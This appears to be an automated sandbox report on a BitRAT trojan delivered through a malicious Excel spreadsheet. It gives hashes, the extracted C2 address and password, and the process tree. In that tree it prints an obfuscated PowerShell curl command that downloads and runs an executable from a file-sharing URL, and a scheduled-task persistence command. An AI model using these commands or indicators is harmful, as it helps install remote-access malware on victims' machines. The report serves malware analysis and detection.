bitrat | 896dd0f8a116edbf4f54be7fac310410467043ecbd86b2d4d66089f14bde6d01

General

Target

Romania_Request_Imun_SRL_09_2023.xls
Size

100KB
MD5

d8c96466da14e352c8a11c86a61200fa
SHA1

738380f30ec9f2448875dd97759bf49aa292cf46
SHA256

896dd0f8a116edbf4f54be7fac310410467043ecbd86b2d4d66089f14bde6d01
SHA512

d81aafbea2392976e331e00ca0cd5c4054f7aab57a640af8a15c6143846c828c0235f34a94721313dec400a8b0724111ed647865846971d33ccca7a57bf5f70c
SSDEEP

3072:0rxEtjPOtioVjDGUU1qfDlaGGx+cL2QnA9tJE2zuxq+fr9wBLa71ba2ryLTHeY+:axEtjPOtioVjDGUU1qfDlavx+W2QnAnF

Score

10^/10

bitrat trojan

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

185.225.75.68:3569

Attributes

communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4260	4312	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

17 2980 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

l6hv4.exel6hv4.exeuno.exe

pid process

4592 l6hv4.exe
3492 l6hv4.exe
5024 uno.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

l6hv4.exe

pid process

3492 l6hv4.exe
3492 l6hv4.exe
3492 l6hv4.exe
3492 l6hv4.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

l6hv4.exe

description pid process target process

PID 4592 set thread context of 3492 4592 l6hv4.exe l6hv4.exe

flow	pid	process
17	2980	powershell.exe

pid	process
4592	l6hv4.exe
3492	l6hv4.exe
5024	uno.exe

pid	process
3492	l6hv4.exe
3492	l6hv4.exe
3492	l6hv4.exe
3492	l6hv4.exe

description	pid	process	target process
PID 4592 set thread context of 3492	4592	l6hv4.exe	l6hv4.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

1088 schtasks.exe

pid	process
1088	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4312 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2980 powershell.exe
2980 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exel6hv4.exe

description pid process

Token: SeDebugPrivilege 2980 powershell.exe
Token: SeShutdownPrivilege 3492 l6hv4.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

4312 EXCEL.EXE
4312 EXCEL.EXE

pid	process
2980	powershell.exe
2980	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeShutdownPrivilege	3492	l6hv4.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

EXCEL.EXEl6hv4.exe

pid	process
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
4312	EXCEL.EXE
3492	l6hv4.exe
3492	l6hv4.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exel6hv4.execmd.exe

description	pid	process	target process
PID 4312 wrote to memory of 4260	4312	EXCEL.EXE	cmd.exe
PID 4312 wrote to memory of 4260	4312	EXCEL.EXE	cmd.exe
PID 4260 wrote to memory of 2980	4260	cmd.exe	powershell.exe
PID 4260 wrote to memory of 2980	4260	cmd.exe	powershell.exe
PID 2980 wrote to memory of 4592	2980	powershell.exe	l6hv4.exe
PID 2980 wrote to memory of 4592	2980	powershell.exe	l6hv4.exe
PID 2980 wrote to memory of 4592	2980	powershell.exe	l6hv4.exe
PID 4592 wrote to memory of 3492	4592	l6hv4.exe	l6hv4.exe
PID 4592 wrote to memory of 3492	4592	l6hv4.exe	l6hv4.exe
PID 4592 wrote to memory of 3492	4592	l6hv4.exe	l6hv4.exe
PID 4592 wrote to memory of 3492	4592	l6hv4.exe	l6hv4.exe
PID 4592 wrote to memory of 3492	4592	l6hv4.exe	l6hv4.exe
PID 4592 wrote to memory of 3492	4592	l6hv4.exe	l6hv4.exe
PID 4592 wrote to memory of 3492	4592	l6hv4.exe	l6hv4.exe
PID 4592 wrote to memory of 3492	4592	l6hv4.exe	l6hv4.exe
PID 4592 wrote to memory of 3492	4592	l6hv4.exe	l6hv4.exe
PID 4592 wrote to memory of 3492	4592	l6hv4.exe	l6hv4.exe
PID 4592 wrote to memory of 3492	4592	l6hv4.exe	l6hv4.exe
PID 4592 wrote to memory of 5056	4592	l6hv4.exe	cmd.exe
PID 4592 wrote to memory of 5056	4592	l6hv4.exe	cmd.exe
PID 4592 wrote to memory of 5056	4592	l6hv4.exe	cmd.exe
PID 4592 wrote to memory of 3548	4592	l6hv4.exe	cmd.exe
PID 4592 wrote to memory of 3548	4592	l6hv4.exe	cmd.exe
PID 4592 wrote to memory of 3548	4592	l6hv4.exe	cmd.exe
PID 4592 wrote to memory of 2420	4592	l6hv4.exe	cmd.exe
PID 4592 wrote to memory of 2420	4592	l6hv4.exe	cmd.exe
PID 4592 wrote to memory of 2420	4592	l6hv4.exe	cmd.exe
PID 3548 wrote to memory of 1088	3548	cmd.exe	schtasks.exe
PID 3548 wrote to memory of 1088	3548	cmd.exe	schtasks.exe
PID 3548 wrote to memory of 1088	3548	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Romania_Request_Imun_SRL_09_2023.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4312

C:\Windows\SYSTEM32\cmd.exe
cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/qyAOUa1rJz/Betro.e^xe -o C:\Users\Public\l6hv4.exe;C:\Users\Public\l6hv4.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4260

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /W 01 curl https://transfer.sh/get/qyAOUa1rJz/Betro.exe -o C:\Users\Public\l6hv4.exe;C:\Users\Public\l6hv4.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2980

C:\Users\Public\l6hv4.exe
"C:\Users\Public\l6hv4.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4592

C:\Users\Public\l6hv4.exe
"C:\Users\Public\l6hv4.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3492

C:\Windows\SysWOW64\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\uno"
5⤵
PID:5056

C:\Windows\SysWOW64\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\uno\uno.exe'" /f
5⤵
- Suspicious use of WriteProcessMemory
PID:3548

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\uno\uno.exe'" /f
6⤵
- Creates scheduled task(s)
PID:1088

C:\Windows\SysWOW64\cmd.exe
"cmd" /c copy "C:\Users\Public\l6hv4.exe" "C:\Users\Admin\AppData\Roaming\uno\uno.exe"
5⤵
PID:2420

C:\Users\Admin\AppData\Roaming\uno\uno.exe
C:\Users\Admin\AppData\Roaming\uno\uno.exe
1⤵
- Executes dropped EXE
PID:5024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hrhivsem.r1d.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\uno\uno.exe
Filesize
7.6MB

MD5
1c9f3c0258e923c07e1943498c789a3d

SHA1
e908faaa5eff19c6b653241253ecc6f28c83f436

SHA256
925329eac4d8dfc71dfd0d222e935b31fb340bbb70367c7abf6553d921b64e55

SHA512
92c16e56ae3d830e2110f97159d6f19fbf91b8bc56d29be207a0da12bd388a0fe68dd13c63dba5266d7d48be9f423d75c1e1e3ec16e6ad1458940f0bb0d0cb0b

Download Submit
C:\Users\Admin\AppData\Roaming\uno\uno.exe
Filesize
3.2MB

MD5
9ed1bca0a7917030a86154e229f2ec95

SHA1
978d8211f527d179f573b8425c4cd71eac84bc5d

SHA256
2d45251a910f6b65ca6155b439e4b6419d4655a11ff5a3011e7756aead9cd548

SHA512
6b11aaf5ab8cc9d58504c25736614fad7c4c4cd72038db7263a72a2dba29dda76a2cf4e286c3a9c25ae44afba8556034ffd1849f70ef86fac197eccff1ef86b9

Download Submit
C:\Users\Admin\AppData\Roaming\uno\uno.exe
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Public\l6hv4.exe
Filesize
7.6MB

MD5
1c9f3c0258e923c07e1943498c789a3d

SHA1
e908faaa5eff19c6b653241253ecc6f28c83f436

SHA256
925329eac4d8dfc71dfd0d222e935b31fb340bbb70367c7abf6553d921b64e55

SHA512
92c16e56ae3d830e2110f97159d6f19fbf91b8bc56d29be207a0da12bd388a0fe68dd13c63dba5266d7d48be9f423d75c1e1e3ec16e6ad1458940f0bb0d0cb0b

Download Submit
C:\Users\Public\l6hv4.exe
Filesize
7.6MB

MD5
1c9f3c0258e923c07e1943498c789a3d

SHA1
e908faaa5eff19c6b653241253ecc6f28c83f436

SHA256
925329eac4d8dfc71dfd0d222e935b31fb340bbb70367c7abf6553d921b64e55

SHA512
92c16e56ae3d830e2110f97159d6f19fbf91b8bc56d29be207a0da12bd388a0fe68dd13c63dba5266d7d48be9f423d75c1e1e3ec16e6ad1458940f0bb0d0cb0b

Download Submit
C:\Users\Public\l6hv4.exe
Filesize
7.6MB

MD5
1c9f3c0258e923c07e1943498c789a3d

SHA1
e908faaa5eff19c6b653241253ecc6f28c83f436

SHA256
925329eac4d8dfc71dfd0d222e935b31fb340bbb70367c7abf6553d921b64e55

SHA512
92c16e56ae3d830e2110f97159d6f19fbf91b8bc56d29be207a0da12bd388a0fe68dd13c63dba5266d7d48be9f423d75c1e1e3ec16e6ad1458940f0bb0d0cb0b

Download Submit
memory/2980-51-0x000001AD7ADC0000-0x000001AD7ADD0000-memory.dmp

Filesize
64KB

Download
memory/2980-47-0x00007FFC083F0000-0x00007FFC08EB1000-memory.dmp

Filesize
10.8MB

Download
memory/2980-58-0x00007FFC083F0000-0x00007FFC08EB1000-memory.dmp

Filesize
10.8MB

Download
memory/2980-59-0x000001AD7ADC0000-0x000001AD7ADD0000-memory.dmp

Filesize
64KB

Download
memory/2980-60-0x000001AD7ADC0000-0x000001AD7ADD0000-memory.dmp

Filesize
64KB

Download
memory/2980-61-0x000001AD7ADC0000-0x000001AD7ADD0000-memory.dmp

Filesize
64KB

Download
memory/2980-52-0x000001AD7ADC0000-0x000001AD7ADD0000-memory.dmp

Filesize
64KB

Download
memory/2980-50-0x000001AD7ADC0000-0x000001AD7ADD0000-memory.dmp

Filesize
64KB

Download
memory/2980-69-0x00007FFC083F0000-0x00007FFC08EB1000-memory.dmp

Filesize
10.8MB

Download
memory/2980-37-0x000001AD62740000-0x000001AD62762000-memory.dmp

Filesize
136KB

Download
memory/3492-90-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-76-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-81-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-79-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-78-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-85-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-86-0x00000000745E0000-0x0000000074619000-memory.dmp

Filesize
228KB

Download
memory/3492-87-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-88-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-89-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-91-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-92-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-94-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/3492-95-0x0000000074860000-0x0000000074899000-memory.dmp

Filesize
228KB

Download
memory/4312-16-0x00007FFBEE850000-0x00007FFBEE860000-memory.dmp

Filesize
64KB

Download
memory/4312-12-0x00007FFBEE850000-0x00007FFBEE860000-memory.dmp

Filesize
64KB

Download
memory/4312-49-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-36-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-35-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-33-0x000002095D340000-0x000002095DB40000-memory.dmp

Filesize
8.0MB

Download
memory/4312-53-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-54-0x000002095D340000-0x000002095DB40000-memory.dmp

Filesize
8.0MB

Download
memory/4312-55-0x000002095D340000-0x000002095DB40000-memory.dmp

Filesize
8.0MB

Download
memory/4312-32-0x000002095D340000-0x000002095DB40000-memory.dmp

Filesize
8.0MB

Download
memory/4312-30-0x000002095D340000-0x000002095DB40000-memory.dmp

Filesize
8.0MB

Download
memory/4312-23-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-22-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-21-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-20-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-19-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-2-0x00007FFBF0D90000-0x00007FFBF0DA0000-memory.dmp

Filesize
64KB

Download
memory/4312-1-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-3-0x00007FFBF0D90000-0x00007FFBF0DA0000-memory.dmp

Filesize
64KB

Download
memory/4312-5-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-4-0x00007FFBF0D90000-0x00007FFBF0DA0000-memory.dmp

Filesize
64KB

Download
memory/4312-18-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-0-0x00007FFBF0D90000-0x00007FFBF0DA0000-memory.dmp

Filesize
64KB

Download
memory/4312-17-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-15-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-14-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-6-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-13-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-48-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-11-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-10-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-9-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-8-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4312-7-0x00007FFBF0D90000-0x00007FFBF0DA0000-memory.dmp

Filesize
64KB

Download
memory/4592-82-0x00000000746D0000-0x0000000074E80000-memory.dmp

Filesize
7.7MB

Download
memory/4592-75-0x00000000079A0000-0x000000000812A000-memory.dmp

Filesize
7.5MB

Download
memory/4592-74-0x0000000005E30000-0x0000000005E40000-memory.dmp

Filesize
64KB

Download
memory/4592-73-0x00000000063F0000-0x0000000006994000-memory.dmp

Filesize
5.6MB

Download
memory/4592-72-0x0000000000CA0000-0x000000000143C000-memory.dmp

Filesize
7.6MB

Download
memory/4592-71-0x00000000746D0000-0x0000000074E80000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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